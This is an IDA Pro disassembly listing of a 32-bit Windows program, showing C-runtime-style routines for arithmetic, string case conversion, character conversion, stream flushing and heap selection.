		mov	eax, [esp+0Ch+arg_0]

loc_41D567:				; CODE XREF: sub_41D500+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D567
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D595
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D595
		jb	short loc_41D596
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D596

loc_41D595:				; CODE XREF: sub_41D500+85j
					; sub_41D500+8Bj
		dec	esi

loc_41D596:				; CODE XREF: sub_41D500+8Dj
					; sub_41D500+93j
		xor	edx, edx
		mov	eax, esi

loc_41D59A:				; CODE XREF: sub_41D500+57j
		dec	edi
		jnz	short loc_41D5A4
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41D5A4:				; CODE XREF: sub_41D500+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5AA	proc near		; CODE XREF: sub_4170EC+BFp
					; sub_4170EC+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DB334
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D5DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D645

loc_41D5C6:				; CODE XREF: sub_41D5AA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D5D7
		cmp	cl, 7Ah
		jg	short loc_41D5D7
		sub	cl, 20h
		mov	[edx], cl

loc_41D5D7:				; CODE XREF: sub_41D5AA+21j
					; sub_41D5AA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D5C6
		jmp	short loc_41D645
; ---------------------------------------------------------------------------

loc_41D5DE:				; CODE XREF: sub_41D5AA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_422ACA
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D637
		push	edi
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D637
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D637
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_41D637:				; CODE XREF: sub_41D5AA+53j
					; sub_41D5AA+61j ...
		push	[ebp+var_4]
		call	sub_41B0B1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi

loc_41D645:				; CODE XREF: sub_41D5AA+1Aj
					; sub_41D5AA+32j
		pop	ebx
		leave
		retn
sub_41D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D648	proc near		; CODE XREF: sub_417ADD+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		jle	short loc_41D65F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41D65F:				; CODE XREF: sub_41D648+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D648	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_420510+76p
					; sub_420510+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		jle	short loc_41D687
		push	8
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41D687:				; CODE XREF: sub_41D670+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41D6EC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D6ED
		test	eax, 1
		jz	short loc_41D6CD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D71A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D6EA

loc_41D6CD:				; CODE XREF: ___:0041D6C0j
					; ___:0041D6E8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D71A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D71A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D6CD

loc_41D6EA:				; CODE XREF: ___:0041D6CBj
					; ___:0041D724j
		pop	edi
		pop	esi

locret_41D6EC:				; CODE XREF: ___:0041D6A6j
		retn
; ---------------------------------------------------------------------------

loc_41D6ED:				; CODE XREF: ___:0041D6B9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D722
		repe cmpsd
		jz	short loc_41D722
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh
		jnz	short loc_41D715
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh

loc_41D715:				; CODE XREF: ___:0041D703j
					; ___:0041D707j ...
		mov	eax, 0

loc_41D71A:				; CODE XREF: ___:0041D6C6j
					; ___:0041D6D3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41D722:				; CODE XREF: ___:0041D6F5j
					; ___:0041D6F9j
		test	eax, eax
		jz	short loc_41D6EA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		cmp	dh, ch
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D715
		dec	eax

loc_41D749:				; CODE XREF: ___:0041D72Fj
					; ___:0041D736j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D74C	proc near		; CODE XREF: sub_418068+6p
					; sub_418086+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB334, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D779
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41D812
		cmp	eax, 5Ah
		jg	loc_41D812
		add	eax, 20h
		jmp	loc_41D812
; ---------------------------------------------------------------------------

loc_41D779:				; CODE XREF: sub_41D74C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D7AD
		cmp	dword_43C504, esi
		jle	short loc_41D79B
		push	esi
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------

loc_41D79B:				; CODE XREF: sub_41D74C+42j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, esi

loc_41D7A5:				; CODE XREF: sub_41D74C+4Dj
		test	eax, eax
		jnz	short loc_41D7AD

loc_41D7A9:				; CODE XREF: sub_41D74C+ADj
		mov	eax, ebx
		jmp	short loc_41D812
; ---------------------------------------------------------------------------

loc_41D7AD:				; CODE XREF: sub_41D74C+3Aj
					; sub_41D74C+5Bj
		mov	edx, off_43C2F8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D7D1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D7DA
; ---------------------------------------------------------------------------

loc_41D7D1:				; CODE XREF: sub_41D74C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi

loc_41D7DA:				; CODE XREF: sub_41D74C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D7A9
		cmp	eax, esi
		jnz	short loc_41D805
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D812
; ---------------------------------------------------------------------------

loc_41D805:				; CODE XREF: sub_41D74C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_41D812:				; CODE XREF: sub_41D74C+16j
					; sub_41D74C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D74C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D817	proc near		; CODE XREF: sub_4185A4+ADp
					; sub_419593+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41D82E

loc_41D824:				; CODE XREF: sub_41D817+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41D824

loc_41D82E:				; CODE XREF: sub_41D817+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41D817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D834	proc near		; CODE XREF: sub_4185A4+7Fp
					; sub_4185A4+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41D901
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41D92E
		cmp	dword_4DB334, esi
		jnz	short loc_41D885
		cmp	edi, esi
		jbe	loc_41D92E

loc_41D864:				; CODE XREF: sub_41D834+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41D92E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41D864
		jmp	loc_41D92E
; ---------------------------------------------------------------------------

loc_41D885:				; CODE XREF: sub_41D834+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427180
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DB344
		call	esi
		test	eax, eax
		jnz	loc_41D92D
		nop
		call	near ptr 2680835h
		cmp	eax, 7Ah
		jz	short loc_41D8BF

loc_41D8B0:				; CODE XREF: sub_41D834+CBj
					; sub_41D834+F7j
		mov	dword_4DB278, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------

loc_41D8BF:				; CODE XREF: sub_41D834+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx

loc_41D8C7:				; CODE XREF: sub_41D834+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D8E9
		mov	edx, off_43C2F8
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D8DE
		inc	eax

loc_41D8DE:				; CODE XREF: sub_41D834+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41D8C7

loc_41D8E9:				; CODE XREF: sub_41D834+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DB344
		call	esi
		test	eax, eax
		jnz	short loc_41D92E
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------

loc_41D901:				; CODE XREF: sub_41D834+Fj
		cmp	dword_4DB334, esi
		jnz	short loc_41D914
		push	[ebp+arg_4]
		call	sub_41AFE0
		pop	ecx
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------

loc_41D914:				; CODE XREF: sub_41D834+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DB344
		call	near ptr 2820000h
		nop
		cmp	eax, esi
		jz	short loc_41D8B0

loc_41D92D:				; CODE XREF: sub_41D834+6Bj
		dec	eax

loc_41D92E:				; CODE XREF: sub_41D834+1Aj
					; sub_41D834+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D834	endp

; ---------------------------------------------------------------------------
		db 70h
		dd 6961DAE5h, 0CFCD5E61h, 0E916C959h, 0A164A86Ah, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 8FE890E8h, 33024543h, 89D48AD2h
		dd 4DB29015h, 81C88B00h, 0FFE1h, 8C0D8900h, 0C1004DB2h
		dd 0CA0308E1h, 0B2880D89h, 0E8C1004Dh, 0B284A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 5BE8FC75h, 0E8000059h, 245432Eh, 0C90CA390h,	19E8004Dh
		dd 0A3000058h, 4DB2E8h,	55C2E8h, 5504E800h, 0B9E80000h
		dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2452628h, 5495E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 0DEE89056h, 50022633h, 0FE3820E8h, 0A04589FFh
		dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	0D3E85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41DA29	proc near		; CODE XREF: sub_41D052+16p
					; ___:00422F18p ...

arg_0		= dword	ptr  4

		cmp	dword_4DB2F0, 1
		jnz	short loc_41DA37
		call	sub_423590

loc_41DA37:				; CODE XREF: sub_41DA29+7j
		push	[esp+arg_0]
		call	sub_4235C9
		push	0FFh
		call	off_43A2C0
		pop	ecx
		pop	ecx
		retn
sub_41DA29	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DB2F0
		dd 0E8057501h, 5B34h, 42474FFh,	5B64E8h, 0FF685900h, 90000000h
		dd 0A58244E8h
		db 77h,	0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DA72	proc near		; CODE XREF: sub_41B05B+2Ap
					; sub_423A33+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DC6C0
		jnb	loc_41DB0C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DB0C
		push	edi
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DAEB
		cmp	edi, 1
		jz	short loc_41DAB9
		cmp	edi, 2
		jnz	short loc_41DACF

loc_41DAB9:				; CODE XREF: sub_41DA72+40j
		push	2
		call	sub_4238A2
		push	1
		mov	ebp, eax
		call	sub_4238A2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DAEB

loc_41DACF:				; CODE XREF: sub_41DA72+45j
		push	edi
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 2660969h
		test	eax, eax
		jnz	short loc_41DAEB
		nop
		call	near ptr 2680835h
		mov	ebp, eax
		jmp	short loc_41DAED
; ---------------------------------------------------------------------------

loc_41DAEB:				; CODE XREF: sub_41DA72+3Bj
					; sub_41DA72+5Bj ...
		xor	ebp, ebp

loc_41DAED:				; CODE XREF: sub_41DA72+77j
		push	edi
		call	sub_423828
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DB08
		push	ebp
		call	sub_4203DF
		pop	ecx
		jmp	short loc_41DB1D
; ---------------------------------------------------------------------------

loc_41DB08:				; CODE XREF: sub_41DA72+8Bj
		xor	eax, eax
		jmp	short loc_41DB20
; ---------------------------------------------------------------------------

loc_41DB0C:				; CODE XREF: sub_41DA72+Ej
					; sub_41DA72+2Fj
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9

loc_41DB1D:				; CODE XREF: sub_41DA72+94j
		or	eax, 0FFFFFFFFh

loc_41DB20:				; CODE XREF: sub_41DA72+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB25	proc near		; CODE XREF: sub_41B05B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB4E
		test	al, 8
		jz	short loc_41DB4E
		push	dword ptr [esi+8]
		call	sub_41B0B1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax

loc_41DB4E:				; CODE XREF: sub_41DB25+Aj
					; sub_41DB25+Ej
		pop	esi
		retn
sub_41DB25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_41DBF0+2Dp
					; sub_41DBF0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DB62
		push	esi
		call	sub_41DBF0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41DB62:				; CODE XREF: sub_41DB50+7j
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jz	short loc_41DB72
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41DB72:				; CODE XREF: sub_41DB50+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DB87
		push	dword ptr [esi+10h]
		call	sub_4238DF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41DB87:				; CODE XREF: sub_41DB50+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB8B	proc near		; CODE XREF: sub_41B05B+1Ap
					; ___:0041D223p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DBD8
		test	ax, 108h
		jz	short loc_41DBD8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DBD8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DBD1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DBD8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DBD8
; ---------------------------------------------------------------------------

loc_41DBD1:				; CODE XREF: sub_41DB8B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh

loc_41DBD8:				; CODE XREF: sub_41DB8B+14j
					; sub_41DB8B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: sub_4239DBp
		push	1
		call	sub_41DBF0
		pop	ecx
		retn
sub_41DBE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBF0	proc near		; CODE XREF: sub_41DB50+Ap
					; sub_41DBE7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DC5A0, esi
		jle	short loc_41DC4E

loc_41DC01:				; CODE XREF: sub_41DBF0+5Cj
		mov	eax, dword_4DB598
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DC45
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DC45
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DC2B
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC45
		inc	ebx
		jmp	short loc_41DC45
; ---------------------------------------------------------------------------

loc_41DC2B:				; CODE XREF: sub_41DBF0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DC45
		test	cl, 2
		jz	short loc_41DC45
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DC45
		or	edi, eax

loc_41DC45:				; CODE XREF: sub_41DBF0+1Bj
					; sub_41DBF0+23j ...
		inc	esi
		cmp	esi, dword_4DC5A0
		jl	short loc_41DC01

loc_41DC4E:				; CODE XREF: sub_41DBF0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DC59
		mov	eax, edi

loc_41DC59:				; CODE XREF: sub_41DBF0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: ___:0041DDC0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	near ptr 2680DD9h
		nop
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al

loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BB20
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		call	near ptr 26D05BAh
		nop
		test	eax, eax
		jz	short loc_41DCCD
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41DCCD
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------

loc_41DCCD:				; CODE XREF: ___:0041DCB1j
					; ___:0041DCBAj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	near ptr 2880000h
		nop
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41DD0F

loc_41DCFC:				; CODE XREF: ___:0041DD0Dj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al

loc_41DD0A:				; CODE XREF: ___:0041DD00j
					; ___:0041DD04j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC

loc_41DD0F:				; CODE XREF: ___:0041DCFAj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41BE70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp-122Ch]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------

loc_41DD31:				; CODE XREF: ___:0041DD27j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2670000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41DD65

loc_41DD52:				; CODE XREF: ___:0041DD63j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al

loc_41DD60:				; CODE XREF: ___:0041DD56j
					; ___:0041DD5Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52

loc_41DD65:				; CODE XREF: ___:0041DD50j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx

loc_41DD7A:				; CODE XREF: ___:0041DD2Fj
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1

loc_41DD93:				; CODE XREF: ___:0041DD9Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------

loc_41DD9C:				; CODE XREF: ___:0041DD96j
		inc	ecx

loc_41DD9D:				; CODE XREF: ___:0041DD9Aj
		cmp	[ecx], bl
		jnz	short loc_41DD93

loc_41DDA1:				; CODE XREF: ___:0041DD91j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BBA6
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF

loc_41DDBC:				; CODE XREF: ___:0041DCE6j
					; ___:0041DD7Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41DC5D
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3

loc_41DDCF:				; CODE XREF: ___:0041DCC8j
					; ___:0041DDB0j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 47235DE8h
		dd 0A3C08502h, 4DC904h,	93E83674h, 83FFFFFEh, 8A303F8h
		dd 75004DC9h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0C90435FFh, 0E890004Dh
		dd 24721D8h, 6AC3C033h,	68C35801h, 140h, 35FF006Ah, 4DC904h
		dd 3821BFE8h, 0C0859002h, 4DC8FCA3h, 0C3017500h, 4244C8Bh
		dd 0C8F42583h, 8300004Dh, 4DC8F825h, 16A0000h, 4DC8F0A3h
		dd 0D8900h, 0C7004DC9h,	4DC8E805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DE77	proc near		; CODE XREF: sub_41B0B1+17p
					; sub_41B202+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DC8F8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DC8FC
		lea	ecx, [eax+ecx*4]

loc_41DE87:				; CODE XREF: sub_41DE77+26j
		cmp	eax, ecx
		jnb	short loc_41DE9F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41DEA1
		add	eax, 14h
		jmp	short loc_41DE87
; ---------------------------------------------------------------------------

loc_41DE9F:				; CODE XREF: sub_41DE77+12j
		xor	eax, eax

locret_41DEA1:				; CODE XREF: sub_41DE77+21j
		retn
sub_41DE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx

loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41DF5A
		cmp	edx, 20h
